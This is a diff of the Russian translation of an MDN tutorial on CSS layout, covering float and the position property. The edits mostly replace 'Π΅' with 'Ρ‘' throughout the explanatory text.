-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ элСмСнту <code>&lt;div&gt;</code> float - left ΠΈ Π΄Π°Π΅ΠΌ {{cssxref("margin")}} с ΠΏΡ€Π°Π²ΠΎΠΉ стороны Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒ тСкст ΠΎΡ‚ этого элСмСнта. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ эффСкт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ тСкст ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ этот Π±Π»ΠΎΠΊ <span class="tlid-translation translation" lang="ru"><span title="">ΠΈ являСтся большСй Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ float, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² соврСмСнном Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅.</span></span></p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ элСмСнту <code>&lt;div&gt;</code> float - left ΠΈ Π΄Π°Ρ‘ΠΌ {{cssxref("margin")}} с ΠΏΡ€Π°Π²ΠΎΠΉ стороны Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒ тСкст ΠΎΡ‚ этого элСмСнта. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ эффСкт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ тСкст ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ этот Π±Π»ΠΎΠΊ <span class="tlid-translation translation" lang="ru"><span title="">ΠΈ являСтся большСй Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ float, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² соврСмСнном Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π΅.</span></span></p>
<div id="Float_1">
<div class="hidden">
@@ -317,12 +317,12 @@ p {
<p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Float ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ объяснСн Π² нашСм ΡƒΡ€ΠΎΠΊΠ΅ ΠΏΠΎ свойствам <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float ΠΈ clear</a>. Π”ΠΎ Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΊΠ°ΠΊ Flexbox ΠΈ Grid Layout, float использовался ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ создания ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ. Π’Ρ‹ всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅; ΠΌΡ‹ рассмотрим ΠΈΡ… Π² ΡƒΡ€ΠΎΠΊΠ΅ ΠΏΠΎ <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Float ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠ±ΡŠΡΡΠ½Ρ‘Π½ Π² нашСм ΡƒΡ€ΠΎΠΊΠ΅ ΠΏΠΎ свойствам <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float ΠΈ clear</a>. Π”ΠΎ Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΊΠ°ΠΊ Flexbox ΠΈ Grid Layout, float использовался ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ создания ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ. Π’Ρ‹ всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅; ΠΌΡ‹ рассмотрим ΠΈΡ… Π² ΡƒΡ€ΠΎΠΊΠ΅ ΠΏΠΎ <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ</a>.</p>
</div>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹_позиционирования">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ позиционирования</h2>
-<p>ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ позволяСт Π²Π°ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты с мСста, Π³Π΄Π΅ Π±Ρ‹ ΠΎΠ½ΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Π»ΠΈΡΡŒ ΠΏΡ€ΠΈ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π»ΠΎΠΊΠ°Ρ†ΠΈΡŽ. ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ создания основной Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ страницы, <span class="tlid-translation translation" lang="ru"><span title="">это большС ΠΎΠ± ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ настройкС полоТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… элСмСнтов Π½Π° страницС.</span></span></p>
+<p>ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ позволяСт Π²Π°ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты с мСста, Π³Π΄Π΅ Π±Ρ‹ ΠΎΠ½ΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Π»ΠΈΡΡŒ ΠΏΡ€ΠΈ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π»ΠΎΠΊΠ°Ρ†ΠΈΡŽ. ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ создания основной Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ страницы, <span class="tlid-translation translation" lang="ru"><span title="">это большС ΠΎΠ± ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ настройкС полоТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… элСмСнтов Π½Π° страницС.</span></span></p>
<p>Однако, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ шаблонов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° свойство {{cssxref("position")}}. ПониманиС позиционирования Ρ‚Π°ΠΊΠΆΠ΅ способствуСт пониманию Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° <span class="tlid-translation translation" lang="ru"><span title=""> ΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚ вывСсти элСмСнт ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°.</span></span></p>
@@ -331,14 +331,14 @@ p {
<ul>
<li><strong>Static positioning (статичСскоС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅)</strong>Β β€” ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ всС элСмСнты β€” это всС лишь Π·Π½Π°Ρ‡ΠΈΡ‚ "ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ элСмСнт Π² Π΅Π³ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° β€” Ρ‚ΡƒΡ‚ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ особСнного Π½Π° Ρ‡Ρ‚ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ".</li>
<li><strong>Relative positioning (ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>позволяСт Π²Π°ΠΌ ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ элСмСнта Π½Π° страницС, пСрСмСщая Π΅Π³ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΅Π³ΠΎ полоТСния Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ β€” Π² Ρ‚ΠΎΠΌ числС заставляя Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π½Π° страницС.</li>
- <li><strong>Absolute positioning (Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ элСмСнт ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ страницы Ρ‚Π°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ находится Π½Π° своСм собствСнном ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ слоС. ΠžΡ‚Ρ‚ΡƒΠ΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΡ€Π°Π΅Π² <code>&lt;html&gt;</code> элСмСнта страницы (ΠΈΠ»ΠΈ Π΅Π³ΠΎ блиТайшСго ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта ΠΏΡ€Π΅Π΄ΠΊΠ°). Π­Ρ‚ΠΎ являСтся ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΏΡ€ΠΈ создании слоТных эффСктов Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ, <span class="tlid-translation translation" lang="ru"><span title=""> Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΠ°Π½Π΅Π»ΠΈ содСрТимого Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ</span></span> ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ/ΠΈΠ»ΠΈ ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ТСланию ΠΈΠ»ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΏΠ°Π½Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° экранС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΊΠΎΠ»ΡŒΠ·ΠΈΡ‚ΡŒ ΠΏΠΎ экрану ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ½ΠΎΠΏΠΊΠΈ управлСния.</li>
- <li><strong>Fixed positioning (фиксированноС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ измСняСт ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° Π½Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ создании эффСктов Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ постоянноС мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ всСгда остаСтся Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈ Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС Π½Π° экранС, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ прокручиваСтся.</li>
- <li><strong>Sticky positioning (Π»ΠΈΠΏΠΊΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>это Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ позиционирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ заставляСт элСмСнт вСсти сСбя ΠΊΠ°ΠΊ <code>position: static</code> ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ ΠΎΠΊΠ½Π° просмотра ΠΈ с этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя ΠΊΠ°ΠΊ <code>position: fixed</code>.</li>
+ <li><strong>Absolute positioning (Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ элСмСнт ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ страницы Ρ‚Π°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ ΠΎΠ½ находится Π½Π° своём собствСнном ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ слоС. ΠžΡ‚Ρ‚ΡƒΠ΄Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΡ€Π°Ρ‘Π² <code>&lt;html&gt;</code> элСмСнта страницы (ΠΈΠ»ΠΈ Π΅Π³ΠΎ блиТайшСго ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта ΠΏΡ€Π΅Π΄ΠΊΠ°). Π­Ρ‚ΠΎ являСтся ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΏΡ€ΠΈ создании слоТных эффСктов Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ, <span class="tlid-translation translation" lang="ru"><span title=""> Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΠ°Π½Π΅Π»ΠΈ содСрТимого Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ</span></span> ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ/ΠΈΠ»ΠΈ ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ТСланию ΠΈΠ»ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΏΠ°Π½Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π½Π° экранС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΊΠΎΠ»ΡŒΠ·ΠΈΡ‚ΡŒ ΠΏΠΎ экрану ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ½ΠΎΠΏΠΊΠΈ управлСния.</li>
+ <li><strong>Fixed positioning (фиксированноС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ измСняСт ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° Π½Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ создании эффСктов Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ постоянноС мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ всСгда остаётся Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈ Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС Π½Π° экранС, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ прокручиваСтся.</li>
+ <li><strong>Sticky positioning (Π»ΠΈΠΏΠΊΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) </strong>это Π½ΠΎΠ²Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ позиционирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ заставляСт элСмСнт вСсти сСбя ΠΊΠ°ΠΊ <code>position: static</code> ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ ΠΎΠΊΠ½Π° просмотра ΠΈ с этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя ΠΊΠ°ΠΊ <code>position: fixed</code>.</li>
</ul>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_простого_позиционирования">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ простого позиционирования</h3>
-<p>Для ознакомлСния с этими ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ вСрстки, ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠ°Ρ€Ρƒ быстрых ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ². Наши ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Для ознакомлСния с этими ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ вёрстки, ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠ°Ρ€Ρƒ быстрых ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ². Наши ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: html notranslate">&lt;h1&gt;Positioning&lt;/h1&gt;
@@ -376,7 +376,7 @@ p {
left: 30px;
}</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄Π°Π΅ΠΌ Π½Π°ΡˆΠ΅ΠΌΡƒ срСднСму ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ {{cssxref("position")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>relative</code> β€” сам ΠΏΠΎ сСбС ΠΎΠ½ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚, поэтому ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ добавляСм свойства {{cssxref("top")}} ΠΈ {{cssxref("left")}}. Они слуТат для пСрСмСщСния задСйствованного элСмСнта Π²Π½ΠΈΠ· ΠΈ Π²ΠΏΡ€Π°Π²ΠΎ β€” Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠΌΡƒ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Π½ΠΎ Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎΠ± этом Ρ‚Π°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ элСмСнт отталкиваСтся ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края, ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠ½ пСрСмСщаСтся Π²ΠΏΡ€Π°Π²ΠΎ ΠΈ Π²Π½ΠΈΠ·.</p>
